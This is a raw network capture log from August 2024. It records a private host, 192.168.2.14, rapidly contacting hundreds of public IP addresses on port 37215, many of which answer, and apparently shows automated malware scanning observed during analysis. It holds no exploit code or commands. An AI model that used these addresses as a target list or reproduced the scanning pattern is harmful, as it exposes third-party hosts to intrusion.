Aug 1, 2024 15:34:57.895456076 CEST	35616	37215	192.168.2.14	197.249.88.214
Aug 1, 2024 15:34:57.896214962 CEST	42838	37215	192.168.2.14	157.143.154.46
Aug 1, 2024 15:34:57.896982908 CEST	42784	37215	192.168.2.14	122.184.139.106
Aug 1, 2024 15:34:57.897866011 CEST	41254	37215	192.168.2.14	197.61.148.16
Aug 1, 2024 15:34:57.898653984 CEST	46892	37215	192.168.2.14	157.172.58.12
Aug 1, 2024 15:34:57.899420023 CEST	35848	37215	192.168.2.14	117.187.225.22
Aug 1, 2024 15:34:57.900293112 CEST	37215	45048	188.157.140.238	192.168.2.14
Aug 1, 2024 15:34:57.900295973 CEST	50606	37215	192.168.2.14	157.142.243.64
Aug 1, 2024 15:34:57.900353909 CEST	45048	37215	192.168.2.14	188.157.140.238
Aug 1, 2024 15:34:57.901061058 CEST	57316	37215	192.168.2.14	197.4.230.80
Aug 1, 2024 15:34:57.901854038 CEST	59624	37215	192.168.2.14	86.145.59.248
Aug 1, 2024 15:34:57.902267933 CEST	37215	45048	188.157.140.238	192.168.2.14
Aug 1, 2024 15:34:57.902308941 CEST	45048	37215	192.168.2.14	188.157.140.238
Aug 1, 2024 15:34:57.902594090 CEST	35032	37215	192.168.2.14	41.53.153.51
Aug 1, 2024 15:34:57.903351068 CEST	39362	37215	192.168.2.14	197.115.108.30
Aug 1, 2024 15:34:57.904602051 CEST	44470	37215	192.168.2.14	157.111.86.94
Aug 1, 2024 15:34:57.904874086 CEST	37215	47767	157.211.124.129	192.168.2.14
Aug 1, 2024 15:34:57.904906988 CEST	37215	47767	157.87.131.121	192.168.2.14
Aug 1, 2024 15:34:57.904923916 CEST	47767	37215	192.168.2.14	157.211.124.129
Aug 1, 2024 15:34:57.904926062 CEST	37215	47767	41.90.90.193	192.168.2.14
Aug 1, 2024 15:34:57.904938936 CEST	37215	47767	206.49.216.177	192.168.2.14
Aug 1, 2024 15:34:57.904947996 CEST	47767	37215	192.168.2.14	157.87.131.121
Aug 1, 2024 15:34:57.904957056 CEST	37215	47767	197.29.248.128	192.168.2.14
Aug 1, 2024 15:34:57.904963017 CEST	47767	37215	192.168.2.14	41.90.90.193
Aug 1, 2024 15:34:57.904968023 CEST	37215	47767	157.57.240.113	192.168.2.14
Aug 1, 2024 15:34:57.904994011 CEST	47767	37215	192.168.2.14	206.49.216.177
Aug 1, 2024 15:34:57.905008078 CEST	47767	37215	192.168.2.14	157.57.240.113
Aug 1, 2024 15:34:57.905009985 CEST	37215	47767	41.73.80.180	192.168.2.14
Aug 1, 2024 15:34:57.905020952 CEST	37215	47767	157.237.144.80	192.168.2.14
Aug 1, 2024 15:34:57.905028105 CEST	47767	37215	192.168.2.14	197.29.248.128
Aug 1, 2024 15:34:57.905031919 CEST	37215	47767	157.248.29.151	192.168.2.14
Aug 1, 2024 15:34:57.905052900 CEST	37215	47767	197.149.144.146	192.168.2.14
Aug 1, 2024 15:34:57.905052900 CEST	47767	37215	192.168.2.14	41.73.80.180
Aug 1, 2024 15:34:57.905052900 CEST	47767	37215	192.168.2.14	157.237.144.80
Aug 1, 2024 15:34:57.905066013 CEST	37215	47767	41.24.237.156	192.168.2.14
Aug 1, 2024 15:34:57.905071020 CEST	47767	37215	192.168.2.14	157.248.29.151
Aug 1, 2024 15:34:57.905078888 CEST	37215	47767	197.151.244.84	192.168.2.14
Aug 1, 2024 15:34:57.905092955 CEST	37215	47767	105.125.125.72	192.168.2.14
Aug 1, 2024 15:34:57.905102015 CEST	47767	37215	192.168.2.14	41.24.237.156
Aug 1, 2024 15:34:57.905103922 CEST	37215	47767	157.142.10.3	192.168.2.14
Aug 1, 2024 15:34:57.905106068 CEST	47767	37215	192.168.2.14	197.149.144.146
Aug 1, 2024 15:34:57.905106068 CEST	47767	37215	192.168.2.14	197.151.244.84
Aug 1, 2024 15:34:57.905112982 CEST	37215	47767	41.37.44.164	192.168.2.14
Aug 1, 2024 15:34:57.905137062 CEST	47767	37215	192.168.2.14	105.125.125.72
Aug 1, 2024 15:34:57.905137062 CEST	47767	37215	192.168.2.14	157.142.10.3
Aug 1, 2024 15:34:57.905143023 CEST	47767	37215	192.168.2.14	41.37.44.164
Aug 1, 2024 15:34:57.905153990 CEST	37215	47767	41.203.194.255	192.168.2.14
Aug 1, 2024 15:34:57.905164003 CEST	37215	47767	157.232.172.49	192.168.2.14
Aug 1, 2024 15:34:57.905173063 CEST	37215	47767	197.132.197.237	192.168.2.14
Aug 1, 2024 15:34:57.905191898 CEST	37215	47767	93.235.177.37	192.168.2.14
Aug 1, 2024 15:34:57.905204058 CEST	47767	37215	192.168.2.14	41.203.194.255
Aug 1, 2024 15:34:57.905204058 CEST	47767	37215	192.168.2.14	197.132.197.237
Aug 1, 2024 15:34:57.905204058 CEST	47767	37215	192.168.2.14	157.232.172.49
Aug 1, 2024 15:34:57.905235052 CEST	47767	37215	192.168.2.14	93.235.177.37
Aug 1, 2024 15:34:57.905241013 CEST	37215	47767	197.230.16.138	192.168.2.14
Aug 1, 2024 15:34:57.905251026 CEST	37215	47767	41.147.59.204	192.168.2.14
Aug 1, 2024 15:34:57.905261040 CEST	37215	47767	157.129.91.246	192.168.2.14
Aug 1, 2024 15:34:57.905280113 CEST	47767	37215	192.168.2.14	197.230.16.138
Aug 1, 2024 15:34:57.905282021 CEST	47767	37215	192.168.2.14	41.147.59.204
Aug 1, 2024 15:34:57.905282974 CEST	47767	37215	192.168.2.14	157.129.91.246
Aug 1, 2024 15:34:57.905312061 CEST	37215	47767	157.114.121.114	192.168.2.14
Aug 1, 2024 15:34:57.905323029 CEST	37215	47767	102.36.88.11	192.168.2.14
Aug 1, 2024 15:34:57.905340910 CEST	37215	47767	211.215.33.64	192.168.2.14
Aug 1, 2024 15:34:57.905352116 CEST	37215	47767	157.251.119.171	192.168.2.14
Aug 1, 2024 15:34:57.905358076 CEST	47767	37215	192.168.2.14	102.36.88.11
Aug 1, 2024 15:34:57.905361891 CEST	37215	47767	41.215.104.193	192.168.2.14
Aug 1, 2024 15:34:57.905376911 CEST	47767	37215	192.168.2.14	157.114.121.114
Aug 1, 2024 15:34:57.905383110 CEST	47767	37215	192.168.2.14	211.215.33.64
Aug 1, 2024 15:34:57.905383110 CEST	47767	37215	192.168.2.14	41.215.104.193
Aug 1, 2024 15:34:57.905390024 CEST	47767	37215	192.168.2.14	157.251.119.171
Aug 1, 2024 15:34:57.905426979 CEST	53942	37215	192.168.2.14	157.252.45.45
Aug 1, 2024 15:34:57.906199932 CEST	35866	37215	192.168.2.14	157.55.99.228
Aug 1, 2024 15:34:57.906356096 CEST	37215	47767	197.54.51.84	192.168.2.14
Aug 1, 2024 15:34:57.906424046 CEST	47767	37215	192.168.2.14	197.54.51.84
Aug 1, 2024 15:34:57.906960964 CEST	54428	37215	192.168.2.14	105.61.187.232
Aug 1, 2024 15:34:57.907231092 CEST	37215	47767	157.150.120.132	192.168.2.14
Aug 1, 2024 15:34:57.907260895 CEST	37215	47767	41.181.223.196	192.168.2.14
Aug 1, 2024 15:34:57.907269955 CEST	47767	37215	192.168.2.14	157.150.120.132
Aug 1, 2024 15:34:57.907279015 CEST	37215	47767	157.176.58.200	192.168.2.14
Aug 1, 2024 15:34:57.907289982 CEST	37215	47767	197.96.142.9	192.168.2.14
Aug 1, 2024 15:34:57.907294989 CEST	47767	37215	192.168.2.14	41.181.223.196
Aug 1, 2024 15:34:57.907308102 CEST	37215	47767	41.84.22.248	192.168.2.14
Aug 1, 2024 15:34:57.907311916 CEST	47767	37215	192.168.2.14	157.176.58.200
Aug 1, 2024 15:34:57.907318115 CEST	37215	47767	197.165.44.241	192.168.2.14
Aug 1, 2024 15:34:57.907324076 CEST	47767	37215	192.168.2.14	197.96.142.9
Aug 1, 2024 15:34:57.907341957 CEST	47767	37215	192.168.2.14	41.84.22.248
Aug 1, 2024 15:34:57.907360077 CEST	37215	47767	41.58.134.215	192.168.2.14
Aug 1, 2024 15:34:57.907370090 CEST	37215	47767	41.162.60.182	192.168.2.14
Aug 1, 2024 15:34:57.907383919 CEST	47767	37215	192.168.2.14	197.165.44.241
Aug 1, 2024 15:34:57.907397985 CEST	47767	37215	192.168.2.14	41.58.134.215
Aug 1, 2024 15:34:57.907404900 CEST	47767	37215	192.168.2.14	41.162.60.182
Aug 1, 2024 15:34:57.907422066 CEST	37215	47767	114.134.65.109	192.168.2.14
Aug 1, 2024 15:34:57.907432079 CEST	37215	47767	157.56.56.118	192.168.2.14
Aug 1, 2024 15:34:57.907442093 CEST	37215	47767	197.78.203.88	192.168.2.14
Aug 1, 2024 15:34:57.907468081 CEST	47767	37215	192.168.2.14	114.134.65.109
Aug 1, 2024 15:34:57.907471895 CEST	47767	37215	192.168.2.14	157.56.56.118
Aug 1, 2024 15:34:57.907478094 CEST	47767	37215	192.168.2.14	197.78.203.88
Aug 1, 2024 15:34:57.907488108 CEST	37215	47767	41.204.108.240	192.168.2.14
Aug 1, 2024 15:34:57.907499075 CEST	37215	47767	157.112.122.223	192.168.2.14
Aug 1, 2024 15:34:57.907510042 CEST	37215	47767	41.160.45.61	192.168.2.14
Aug 1, 2024 15:34:57.907521009 CEST	37215	47767	103.171.30.236	192.168.2.14
Aug 1, 2024 15:34:57.907531977 CEST	37215	47767	197.20.107.124	192.168.2.14
Aug 1, 2024 15:34:57.907532930 CEST	47767	37215	192.168.2.14	41.204.108.240
Aug 1, 2024 15:34:57.907541037 CEST	47767	37215	192.168.2.14	157.112.122.223
Aug 1, 2024 15:34:57.907543898 CEST	47767	37215	192.168.2.14	41.160.45.61
Aug 1, 2024 15:34:57.907557964 CEST	47767	37215	192.168.2.14	103.171.30.236
Aug 1, 2024 15:34:57.907567978 CEST	47767	37215	192.168.2.14	197.20.107.124
Aug 1, 2024 15:34:57.907571077 CEST	37215	47767	149.34.182.48	192.168.2.14
Aug 1, 2024 15:34:57.907582998 CEST	37215	47767	41.6.19.64	192.168.2.14
Aug 1, 2024 15:34:57.907592058 CEST	37215	47767	157.168.137.14	192.168.2.14
Aug 1, 2024 15:34:57.907612085 CEST	37215	47767	41.65.128.212	192.168.2.14
Aug 1, 2024 15:34:57.907613993 CEST	47767	37215	192.168.2.14	149.34.182.48
Aug 1, 2024 15:34:57.907618046 CEST	47767	37215	192.168.2.14	41.6.19.64
Aug 1, 2024 15:34:57.907622099 CEST	37215	47767	41.191.104.196	192.168.2.14
Aug 1, 2024 15:34:57.907627106 CEST	47767	37215	192.168.2.14	157.168.137.14
Aug 1, 2024 15:34:57.907632113 CEST	37215	47767	197.99.106.214	192.168.2.14
Aug 1, 2024 15:34:57.907643080 CEST	37215	47767	71.187.197.117	192.168.2.14
Aug 1, 2024 15:34:57.907645941 CEST	47767	37215	192.168.2.14	41.65.128.212
Aug 1, 2024 15:34:57.907653093 CEST	37215	47767	41.129.168.89	192.168.2.14
Aug 1, 2024 15:34:57.907661915 CEST	37215	47767	93.177.38.131	192.168.2.14
Aug 1, 2024 15:34:57.907664061 CEST	47767	37215	192.168.2.14	197.99.106.214
Aug 1, 2024 15:34:57.907670975 CEST	47767	37215	192.168.2.14	41.191.104.196
Aug 1, 2024 15:34:57.907672882 CEST	37215	47767	41.31.132.209	192.168.2.14
Aug 1, 2024 15:34:57.907676935 CEST	47767	37215	192.168.2.14	71.187.197.117
Aug 1, 2024 15:34:57.907682896 CEST	37215	47767	41.92.43.162	192.168.2.14
Aug 1, 2024 15:34:57.907682896 CEST	47767	37215	192.168.2.14	41.129.168.89
Aug 1, 2024 15:34:57.907690048 CEST	47767	37215	192.168.2.14	93.177.38.131
Aug 1, 2024 15:34:57.907711983 CEST	47767	37215	192.168.2.14	41.31.132.209
Aug 1, 2024 15:34:57.907723904 CEST	47767	37215	192.168.2.14	41.92.43.162
Aug 1, 2024 15:34:57.907833099 CEST	43408	37215	192.168.2.14	157.37.145.138
Aug 1, 2024 15:34:57.907998085 CEST	37215	47767	76.200.156.167	192.168.2.14
Aug 1, 2024 15:34:57.908042908 CEST	47767	37215	192.168.2.14	76.200.156.167
Aug 1, 2024 15:34:57.908564091 CEST	33478	37215	192.168.2.14	157.116.105.171
Aug 1, 2024 15:34:57.909149885 CEST	37215	47767	197.17.60.126	192.168.2.14
Aug 1, 2024 15:34:57.909162045 CEST	37215	47767	97.171.232.159	192.168.2.14
Aug 1, 2024 15:34:57.909172058 CEST	37215	47767	197.97.26.133	192.168.2.14
Aug 1, 2024 15:34:57.909187078 CEST	47767	37215	192.168.2.14	197.17.60.126
Aug 1, 2024 15:34:57.909187078 CEST	37215	47767	197.216.173.102	192.168.2.14
Aug 1, 2024 15:34:57.909198999 CEST	37215	47767	197.10.197.43	192.168.2.14
Aug 1, 2024 15:34:57.909204960 CEST	47767	37215	192.168.2.14	197.97.26.133
Aug 1, 2024 15:34:57.909209967 CEST	37215	47767	41.116.1.158	192.168.2.14
Aug 1, 2024 15:34:57.909210920 CEST	47767	37215	192.168.2.14	97.171.232.159
Aug 1, 2024 15:34:57.909219980 CEST	37215	47767	157.216.131.156	192.168.2.14
Aug 1, 2024 15:34:57.909220934 CEST	47767	37215	192.168.2.14	197.216.173.102
Aug 1, 2024 15:34:57.909235001 CEST	47767	37215	192.168.2.14	197.10.197.43
Aug 1, 2024 15:34:57.909240007 CEST	37215	47767	157.230.221.104	192.168.2.14
Aug 1, 2024 15:34:57.909246922 CEST	47767	37215	192.168.2.14	157.216.131.156
Aug 1, 2024 15:34:57.909250021 CEST	37215	47767	197.165.253.211	192.168.2.14
Aug 1, 2024 15:34:57.909251928 CEST	47767	37215	192.168.2.14	41.116.1.158
Aug 1, 2024 15:34:57.909261942 CEST	37215	47767	157.239.96.79	192.168.2.14
Aug 1, 2024 15:34:57.909271955 CEST	37215	47767	197.31.125.101	192.168.2.14
Aug 1, 2024 15:34:57.909281015 CEST	47767	37215	192.168.2.14	157.230.221.104
Aug 1, 2024 15:34:57.909290075 CEST	37215	47767	197.150.103.178	192.168.2.14
Aug 1, 2024 15:34:57.909293890 CEST	47767	37215	192.168.2.14	157.239.96.79
Aug 1, 2024 15:34:57.909296036 CEST	37215	47767	100.61.232.108	192.168.2.14
Aug 1, 2024 15:34:57.909306049 CEST	37215	47767	157.10.239.129	192.168.2.14
Aug 1, 2024 15:34:57.909317017 CEST	37215	47767	157.213.131.21	192.168.2.14
Aug 1, 2024 15:34:57.909321070 CEST	47767	37215	192.168.2.14	100.61.232.108
Aug 1, 2024 15:34:57.909323931 CEST	47767	37215	192.168.2.14	197.31.125.101
Aug 1, 2024 15:34:57.909334898 CEST	47767	37215	192.168.2.14	197.165.253.211
Aug 1, 2024 15:34:57.909336090 CEST	37215	47767	41.145.159.79	192.168.2.14
Aug 1, 2024 15:34:57.909338951 CEST	47767	37215	192.168.2.14	197.150.103.178
Aug 1, 2024 15:34:57.909339905 CEST	47767	37215	192.168.2.14	157.10.239.129
Aug 1, 2024 15:34:57.909346104 CEST	37215	47767	157.53.183.168	192.168.2.14
Aug 1, 2024 15:34:57.909358025 CEST	47767	37215	192.168.2.14	157.213.131.21
Aug 1, 2024 15:34:57.909362078 CEST	37215	47767	197.151.44.58	192.168.2.14
Aug 1, 2024 15:34:57.909369946 CEST	47688	37215	192.168.2.14	197.115.117.73
Aug 1, 2024 15:34:57.909380913 CEST	47767	37215	192.168.2.14	41.145.159.79
Aug 1, 2024 15:34:57.909388065 CEST	47767	37215	192.168.2.14	157.53.183.168
Aug 1, 2024 15:34:57.909403086 CEST	47767	37215	192.168.2.14	197.151.44.58
Aug 1, 2024 15:34:57.909410000 CEST	37215	47767	88.222.205.218	192.168.2.14
Aug 1, 2024 15:34:57.909420967 CEST	37215	47767	157.204.133.150	192.168.2.14
Aug 1, 2024 15:34:57.909430981 CEST	37215	47767	41.1.3.252	192.168.2.14
Aug 1, 2024 15:34:57.909440994 CEST	37215	47767	43.93.36.159	192.168.2.14
Aug 1, 2024 15:34:57.909450054 CEST	37215	47767	157.220.198.2	192.168.2.14
Aug 1, 2024 15:34:57.909451008 CEST	47767	37215	192.168.2.14	88.222.205.218
Aug 1, 2024 15:34:57.909460068 CEST	37215	47767	41.255.21.52	192.168.2.14
Aug 1, 2024 15:34:57.909460068 CEST	47767	37215	192.168.2.14	157.204.133.150
Aug 1, 2024 15:34:57.909462929 CEST	47767	37215	192.168.2.14	41.1.3.252
Aug 1, 2024 15:34:57.909471035 CEST	47767	37215	192.168.2.14	43.93.36.159
Aug 1, 2024 15:34:57.909477949 CEST	37215	47767	157.210.79.228	192.168.2.14
Aug 1, 2024 15:34:57.909487009 CEST	47767	37215	192.168.2.14	157.220.198.2
Aug 1, 2024 15:34:57.909490108 CEST	37215	47767	197.18.179.76	192.168.2.14
Aug 1, 2024 15:34:57.909490108 CEST	47767	37215	192.168.2.14	41.255.21.52
Aug 1, 2024 15:34:57.909501076 CEST	37215	47767	157.201.87.250	192.168.2.14
Aug 1, 2024 15:34:57.909512043 CEST	47767	37215	192.168.2.14	157.210.79.228
Aug 1, 2024 15:34:57.909523010 CEST	47767	37215	192.168.2.14	197.18.179.76
Aug 1, 2024 15:34:57.909527063 CEST	47767	37215	192.168.2.14	157.201.87.250
Aug 1, 2024 15:34:57.909766912 CEST	37215	47767	157.35.141.223	192.168.2.14
Aug 1, 2024 15:34:57.909805059 CEST	47767	37215	192.168.2.14	157.35.141.223
Aug 1, 2024 15:34:57.910110950 CEST	43028	37215	192.168.2.14	147.57.45.29
Aug 1, 2024 15:34:57.910538912 CEST	37215	47767	41.98.222.243	192.168.2.14
Aug 1, 2024 15:34:57.910566092 CEST	37215	47767	157.238.196.251	192.168.2.14
Aug 1, 2024 15:34:57.910583973 CEST	37215	47767	197.133.230.160	192.168.2.14
Aug 1, 2024 15:34:57.910584927 CEST	47767	37215	192.168.2.14	41.98.222.243
Aug 1, 2024 15:34:57.910607100 CEST	47767	37215	192.168.2.14	157.238.196.251
Aug 1, 2024 15:34:57.910614014 CEST	37215	47767	197.132.72.73	192.168.2.14
Aug 1, 2024 15:34:57.910614967 CEST	47767	37215	192.168.2.14	197.133.230.160
Aug 1, 2024 15:34:57.910624027 CEST	37215	47767	157.198.90.247	192.168.2.14
Aug 1, 2024 15:34:57.910634041 CEST	37215	47767	41.163.155.166	192.168.2.14
Aug 1, 2024 15:34:57.910654068 CEST	37215	47767	162.68.107.23	192.168.2.14
Aug 1, 2024 15:34:57.910664082 CEST	37215	47767	178.6.156.240	192.168.2.14
Aug 1, 2024 15:34:57.910664082 CEST	47767	37215	192.168.2.14	157.198.90.247
Aug 1, 2024 15:34:57.910665989 CEST	47767	37215	192.168.2.14	197.132.72.73
Aug 1, 2024 15:34:57.910667896 CEST	47767	37215	192.168.2.14	41.163.155.166
Aug 1, 2024 15:34:57.910674095 CEST	37215	47767	157.66.1.202	192.168.2.14
Aug 1, 2024 15:34:57.910697937 CEST	47767	37215	192.168.2.14	162.68.107.23
Aug 1, 2024 15:34:57.910706997 CEST	37215	47767	157.219.204.110	192.168.2.14
Aug 1, 2024 15:34:57.910707951 CEST	47767	37215	192.168.2.14	178.6.156.240
Aug 1, 2024 15:34:57.910713911 CEST	47767	37215	192.168.2.14	157.66.1.202
Aug 1, 2024 15:34:57.910717010 CEST	37215	47767	197.211.212.50	192.168.2.14
Aug 1, 2024 15:34:57.910727978 CEST	37215	47767	61.253.164.97	192.168.2.14
Aug 1, 2024 15:34:57.910741091 CEST	47767	37215	192.168.2.14	157.219.204.110
Aug 1, 2024 15:34:57.910742044 CEST	37215	47767	197.34.233.137	192.168.2.14
Aug 1, 2024 15:34:57.910747051 CEST	37215	47767	41.140.234.5	192.168.2.14
Aug 1, 2024 15:34:57.910758972 CEST	37215	47767	41.128.232.17	192.168.2.14
Aug 1, 2024 15:34:57.910763979 CEST	47767	37215	192.168.2.14	197.211.212.50
Aug 1, 2024 15:34:57.910767078 CEST	47767	37215	192.168.2.14	61.253.164.97
Aug 1, 2024 15:34:57.910773039 CEST	47767	37215	192.168.2.14	197.34.233.137
Aug 1, 2024 15:34:57.910784960 CEST	47767	37215	192.168.2.14	41.140.234.5
Aug 1, 2024 15:34:57.910795927 CEST	37215	47767	163.13.197.243	192.168.2.14
Aug 1, 2024 15:34:57.910798073 CEST	47767	37215	192.168.2.14	41.128.232.17
Aug 1, 2024 15:34:57.910805941 CEST	37215	47767	197.225.231.194	192.168.2.14
Aug 1, 2024 15:34:57.910809994 CEST	37215	47767	157.229.218.247	192.168.2.14
Aug 1, 2024 15:34:57.910815001 CEST	37215	47767	41.246.140.116	192.168.2.14
Aug 1, 2024 15:34:57.910832882 CEST	37215	47767	41.14.105.62	192.168.2.14
Aug 1, 2024 15:34:57.910837889 CEST	46584	37215	192.168.2.14	197.224.223.95
Aug 1, 2024 15:34:57.910845041 CEST	47767	37215	192.168.2.14	197.225.231.194
Aug 1, 2024 15:34:57.910845995 CEST	47767	37215	192.168.2.14	163.13.197.243
Aug 1, 2024 15:34:57.910855055 CEST	37215	47767	41.76.63.228	192.168.2.14
Aug 1, 2024 15:34:57.910856962 CEST	47767	37215	192.168.2.14	157.229.218.247
Aug 1, 2024 15:34:57.910861969 CEST	47767	37215	192.168.2.14	41.246.140.116
Aug 1, 2024 15:34:57.910864115 CEST	47767	37215	192.168.2.14	41.14.105.62
Aug 1, 2024 15:34:57.910896063 CEST	47767	37215	192.168.2.14	41.76.63.228
Aug 1, 2024 15:34:57.910928011 CEST	37215	47767	157.84.131.223	192.168.2.14
Aug 1, 2024 15:34:57.910940886 CEST	37215	47767	41.30.124.207	192.168.2.14
Aug 1, 2024 15:34:57.910952091 CEST	37215	47767	197.215.131.218	192.168.2.14
Aug 1, 2024 15:34:57.910965919 CEST	47767	37215	192.168.2.14	157.84.131.223
Aug 1, 2024 15:34:57.910968065 CEST	47767	37215	192.168.2.14	41.30.124.207
Aug 1, 2024 15:34:57.910970926 CEST	37215	47767	157.2.232.177	192.168.2.14
Aug 1, 2024 15:34:57.910981894 CEST	37215	47767	197.195.55.149	192.168.2.14
Aug 1, 2024 15:34:57.910981894 CEST	47767	37215	192.168.2.14	197.215.131.218
Aug 1, 2024 15:34:57.910993099 CEST	37215	47767	41.79.248.181	192.168.2.14
Aug 1, 2024 15:34:57.911019087 CEST	47767	37215	192.168.2.14	197.195.55.149
Aug 1, 2024 15:34:57.911020041 CEST	47767	37215	192.168.2.14	157.2.232.177
Aug 1, 2024 15:34:57.911031961 CEST	47767	37215	192.168.2.14	41.79.248.181
Aug 1, 2024 15:34:57.911318064 CEST	37215	47767	41.30.242.140	192.168.2.14
Aug 1, 2024 15:34:57.911355019 CEST	47767	37215	192.168.2.14	41.30.242.140
Aug 1, 2024 15:34:57.911709070 CEST	41010	37215	192.168.2.14	41.119.64.108
Aug 1, 2024 15:34:57.911959887 CEST	37215	47767	197.82.55.213	192.168.2.14
Aug 1, 2024 15:34:57.912002087 CEST	47767	37215	192.168.2.14	197.82.55.213
Aug 1, 2024 15:34:57.912058115 CEST	37215	47767	157.27.65.235	192.168.2.14
Aug 1, 2024 15:34:57.912070036 CEST	37215	47767	157.144.231.62	192.168.2.14
Aug 1, 2024 15:34:57.912094116 CEST	37215	47767	151.48.243.201	192.168.2.14
Aug 1, 2024 15:34:57.912102938 CEST	47767	37215	192.168.2.14	157.27.65.235
Aug 1, 2024 15:34:57.912105083 CEST	37215	47767	76.44.131.167	192.168.2.14
Aug 1, 2024 15:34:57.912107944 CEST	47767	37215	192.168.2.14	157.144.231.62
Aug 1, 2024 15:34:57.912110090 CEST	37215	47767	157.8.155.181	192.168.2.14
Aug 1, 2024 15:34:57.912130117 CEST	37215	47767	197.62.97.184	192.168.2.14
Aug 1, 2024 15:34:57.912139893 CEST	37215	47767	41.84.48.70	192.168.2.14
Aug 1, 2024 15:34:57.912146091 CEST	47767	37215	192.168.2.14	151.48.243.201
Aug 1, 2024 15:34:57.912148952 CEST	47767	37215	192.168.2.14	157.8.155.181
Aug 1, 2024 15:34:57.912149906 CEST	37215	47767	157.134.56.167	192.168.2.14
Aug 1, 2024 15:34:57.912153006 CEST	47767	37215	192.168.2.14	76.44.131.167
Aug 1, 2024 15:34:57.912162066 CEST	37215	47767	157.81.10.212	192.168.2.14
Aug 1, 2024 15:34:57.912169933 CEST	47767	37215	192.168.2.14	41.84.48.70
Aug 1, 2024 15:34:57.912170887 CEST	47767	37215	192.168.2.14	197.62.97.184
Aug 1, 2024 15:34:57.912189007 CEST	47767	37215	192.168.2.14	157.134.56.167
Aug 1, 2024 15:34:57.912197113 CEST	37215	47767	102.155.249.191	192.168.2.14
Aug 1, 2024 15:34:57.912200928 CEST	47767	37215	192.168.2.14	157.81.10.212
Aug 1, 2024 15:34:57.912211895 CEST	37215	47767	157.5.115.71	192.168.2.14
Aug 1, 2024 15:34:57.912240028 CEST	47767	37215	192.168.2.14	102.155.249.191
Aug 1, 2024 15:34:57.912250042 CEST	37215	47767	157.252.83.173	192.168.2.14
Aug 1, 2024 15:34:57.912256002 CEST	47767	37215	192.168.2.14	157.5.115.71
Aug 1, 2024 15:34:57.912282944 CEST	47767	37215	192.168.2.14	157.252.83.173
Aug 1, 2024 15:34:57.912307024 CEST	37215	47767	197.241.217.245	192.168.2.14
Aug 1, 2024 15:34:57.912317038 CEST	37215	47767	173.132.210.138	192.168.2.14
Aug 1, 2024 15:34:57.912347078 CEST	37215	47767	197.158.22.61	192.168.2.14
Aug 1, 2024 15:34:57.912348032 CEST	47767	37215	192.168.2.14	197.241.217.245
Aug 1, 2024 15:34:57.912348032 CEST	47767	37215	192.168.2.14	173.132.210.138
Aug 1, 2024 15:34:57.912358046 CEST	37215	47767	157.156.86.209	192.168.2.14
Aug 1, 2024 15:34:57.912379980 CEST	47767	37215	192.168.2.14	197.158.22.61
Aug 1, 2024 15:34:57.912388086 CEST	47767	37215	192.168.2.14	157.156.86.209
Aug 1, 2024 15:34:57.912394047 CEST	37215	47767	157.186.5.116	192.168.2.14
Aug 1, 2024 15:34:57.912422895 CEST	37215	47767	197.253.200.71	192.168.2.14
Aug 1, 2024 15:34:57.912439108 CEST	47767	37215	192.168.2.14	157.186.5.116
Aug 1, 2024 15:34:57.912453890 CEST	37215	47767	157.16.71.87	192.168.2.14
Aug 1, 2024 15:34:57.912455082 CEST	47767	37215	192.168.2.14	197.253.200.71
Aug 1, 2024 15:34:57.912463903 CEST	37215	47767	203.110.14.236	192.168.2.14
Aug 1, 2024 15:34:57.912491083 CEST	37215	47767	41.16.134.246	192.168.2.14
Aug 1, 2024 15:34:57.912499905 CEST	47767	37215	192.168.2.14	157.16.71.87
Aug 1, 2024 15:34:57.912503958 CEST	47767	37215	192.168.2.14	203.110.14.236
Aug 1, 2024 15:34:57.912532091 CEST	47767	37215	192.168.2.14	41.16.134.246
Aug 1, 2024 15:34:57.912535906 CEST	37215	47767	197.156.28.143	192.168.2.14
Aug 1, 2024 15:34:57.912547112 CEST	37215	47767	41.19.215.38	192.168.2.14
Aug 1, 2024 15:34:57.912556887 CEST	37215	47767	157.143.251.19	192.168.2.14
Aug 1, 2024 15:34:57.912570000 CEST	37215	47767	41.134.182.89	192.168.2.14
Aug 1, 2024 15:34:57.912580013 CEST	37215	47767	143.152.253.126	192.168.2.14
Aug 1, 2024 15:34:57.912583113 CEST	47767	37215	192.168.2.14	197.156.28.143
Aug 1, 2024 15:34:57.912584066 CEST	47767	37215	192.168.2.14	41.19.215.38
Aug 1, 2024 15:34:57.912595987 CEST	47767	37215	192.168.2.14	157.143.251.19
Aug 1, 2024 15:34:57.912605047 CEST	47767	37215	192.168.2.14	41.134.182.89
Aug 1, 2024 15:34:57.912616014 CEST	47767	37215	192.168.2.14	143.152.253.126
Aug 1, 2024 15:34:57.912657022 CEST	37215	47767	209.80.107.248	192.168.2.14
Aug 1, 2024 15:34:57.912723064 CEST	47767	37215	192.168.2.14	209.80.107.248
Aug 1, 2024 15:34:57.912770033 CEST	47630	37215	192.168.2.14	41.235.161.222
Aug 1, 2024 15:34:57.913350105 CEST	37215	47767	197.233.129.128	192.168.2.14
Aug 1, 2024 15:34:57.913360119 CEST	37215	47767	41.38.106.104	192.168.2.14
Aug 1, 2024 15:34:57.913394928 CEST	47767	37215	192.168.2.14	41.38.106.104
Aug 1, 2024 15:34:57.913397074 CEST	47767	37215	192.168.2.14	197.233.129.128
Aug 1, 2024 15:34:57.913412094 CEST	37215	47767	155.80.230.207	192.168.2.14
Aug 1, 2024 15:34:57.913422108 CEST	37215	47767	89.25.72.97	192.168.2.14
Aug 1, 2024 15:34:57.913431883 CEST	37215	47767	197.246.4.167	192.168.2.14
Aug 1, 2024 15:34:57.913441896 CEST	37215	47767	41.39.194.209	192.168.2.14
Aug 1, 2024 15:34:57.913450956 CEST	47767	37215	192.168.2.14	155.80.230.207
Aug 1, 2024 15:34:57.913455963 CEST	37215	47767	41.232.120.12	192.168.2.14
Aug 1, 2024 15:34:57.913458109 CEST	47767	37215	192.168.2.14	89.25.72.97
Aug 1, 2024 15:34:57.913465023 CEST	37215	47767	41.52.44.249	192.168.2.14
Aug 1, 2024 15:34:57.913475037 CEST	37215	47767	197.1.242.190	192.168.2.14
Aug 1, 2024 15:34:57.913479090 CEST	47767	37215	192.168.2.14	41.39.194.209
Aug 1, 2024 15:34:57.913486004 CEST	37215	47767	49.99.135.48	192.168.2.14
Aug 1, 2024 15:34:57.913489103 CEST	47767	37215	192.168.2.14	197.246.4.167
Aug 1, 2024 15:34:57.913491011 CEST	47767	37215	192.168.2.14	41.52.44.249
Aug 1, 2024 15:34:57.913491964 CEST	47767	37215	192.168.2.14	41.232.120.12
Aug 1, 2024 15:34:57.913512945 CEST	47767	37215	192.168.2.14	197.1.242.190
Aug 1, 2024 15:34:57.913516045 CEST	47767	37215	192.168.2.14	49.99.135.48
